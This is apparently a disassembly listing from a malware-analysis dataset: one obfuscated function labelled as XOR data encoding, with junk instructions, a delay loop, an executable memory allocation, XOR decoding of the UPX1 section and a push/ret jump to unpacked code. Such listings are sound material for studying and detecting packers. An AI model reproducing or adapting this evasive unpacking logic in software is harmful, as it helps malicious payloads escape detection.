Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9ca57fba
and edi, edx
mov edi, edx
popal
inc edi
add edi, edx
mov edi, 0xbbbd46c3
mov ebx, 0
mov ecx, eax
add edx, 0xeb047c5
add esi, 0xdc83464b
mov edi, ecx
sub edx, esi
or edx, esi
mov eax, edi
add edx, 0x620f4d25
add edx, 0xfeabb706
sub esi, 0xa700c761
inc ebx
add esi, edx
sub edx, 0x5b06a2bb
not edx
cmp ebx, 0x1002aa0
jne 0x47afd0
add esi, edx
add esi, 0x30d65ea9
cmp ebx, 0x1002aa0
je 0x47b026
mov eax, 0
mov edx, dword [eax]
sub esi, 0x41ffe84
and esi, edx
add edx, edx
and edx, edi
mov edi, 0x47ada2
and esi, esi
add esi, 0x8f037518
mov ecx, 0x47af96
add esi, esi
and ebx, ebx
inc ebx
mov eax, dword [edi]
and esi, esi
mov esi, 0xdc5528bb
sub ebx, esi
and eax, 0xff
add edx, esi
dec esi
xor dword [ecx], eax
sub esi, 1
mov ebx, esi
inc ebx
inc ecx
add esi, esi
or ebx, esi
inc edi
mov esi, edx
dec esi
cmp ecx, entry0
jl 0x47b049
mov esi, 0x4bf6f21c
dec edx
mov esi, 0xf434dcbd
or edx, edx
sub edx, esi
dec ebx
add ecx, 0x91b22a39
mov edi, 0x47af9a
or ecx, esi
dec ebx
mov edi, dword [edi]
mov ebx, edx
add ebx, 0xb7011b47
mov esi, edx
mov edi, dword [edi]
mov esi, 0x2f1ff6c0
add ebx, esi
push edi
add esi, 1
add ebx, esi
mov edx, 0xeb68031e
mov edi, 0x47af96
not esi
dec ebx
mov edi, dword [edi]
inc ecx
dec esi
mov edi, dword [edi]
mov esi, edx
mov ebx, 0xc5a7b350
push 0x47af9e
add ecx, edx
dec edx
dec esi
call edi
sub ebx, 0xd3a05f98
add ebx, esi
pop edi
inc esi
mov edx, ebx
push 0x47afab
mov ecx, 0x728257a9
mov ebx, edx
add esi, esi
push eax
not ecx
or edx, ebx
and ecx, ebx
call edi
inc edx
add ecx, ecx
push 0x40
dec ecx
add ecx, edx
push 0x3000
add ebx, edx
mov esi, 0xbd636972
mov ecx, ebx
push 0x20000166
not ebx
add esi, 0xce90d460
add edx, 0xe9dae6aa
push 0
dec edx
not esi
call eax
mov esi, 0xf2733e3
add ebx, esi
add eax, 0x200000b0
add edx, esi
sub edx, esi
add edx, 0x280e8a7
mov edi, 0xe4f63a97
add ecx, 0xfac3a3dd
sub ecx, 0x75b3c594
mov dword [eax], edi
not edx
mov ecx, 0xa44fd505
mov edi, dword [eax]
sub edx, 0xb5f15c5b
not ebx
cmp edi, 0xe4f63a97
je 0x47b181
mov ecx, 0
mov ebx, dword [ecx]
sub esi, 0xa266151e
mov ecx, ebx
add ebx, 0xcdee0896
not esi
mov ebx, 0xe636da77
not edi
and edx, edx
dec edx
mov esi, section.UPX1
sub edx, 1
sub edx, edi
mov ebx, 0x47ada1
mov edi, 0x7e5ba5eb
inc edx
mov eax, 0
or edx, edx
add edx, edx
mov edi, edx
mov ecx, 0x47ada2
not edx
mov edx, 0x17acf2be
mov edx, edi
lea ecx, [ecx + eax]
not edi
or edx, edx
mov edx, 0x45051eea
mov ecx, dword [ecx]
not edi
dec edx
sub edx, 0x60b66e10
and ecx, 0xff
sub edx, 0xb898970a
and edi, edi
add edx, edi
inc eax
mov edx, edi
not edi
add edi, edx
cmp eax, 0x1f4
jne 0x47b207
mov eax, 0
sub edx, edi
not edi
or edx, edx
add edi, 1
xor dword [esi], ecx
not edi
dec edx
mov edi, edx
add esi, 2
or edi, edi
sub edx, edi
cmp esi, ebx
jl 0x47b1be
mov edx, 0x1476c3e7
not edx
dec edi
inc edi
mov edi, edx
sub edx, 0x9d74d546
mov esi, section.UPX1
or ebx, ebx
dec edx
mov ecx, section.UPX1
add ebx, 0x69c99ce5
add edx, ebx
mov edi, 0x47ada1
sub ebx, 0xc71eb3e0
mov edx, ebx
add edx, 0x1d946737
mov eax, 0
and edx, ebx
mov ebx, edx
add ebx, 0x71e7b7ba
mov al, byte [ecx]
add ebx, ebx
or ebx, edx
mov byte [esi], al
dec edx
add ebx, ebx
inc esi
and ebx, edx
not edx
add ecx, 2
add ebx, 0x59d8a630
sub ebx, edx
add edx, ebx
cmp ecx, edi
jle 0x47b274
dec edx
not ebx
add edx, 1
mov edi, edx
sub edi, edx
push 0x45e6a0
not edx
or edx, edx
ret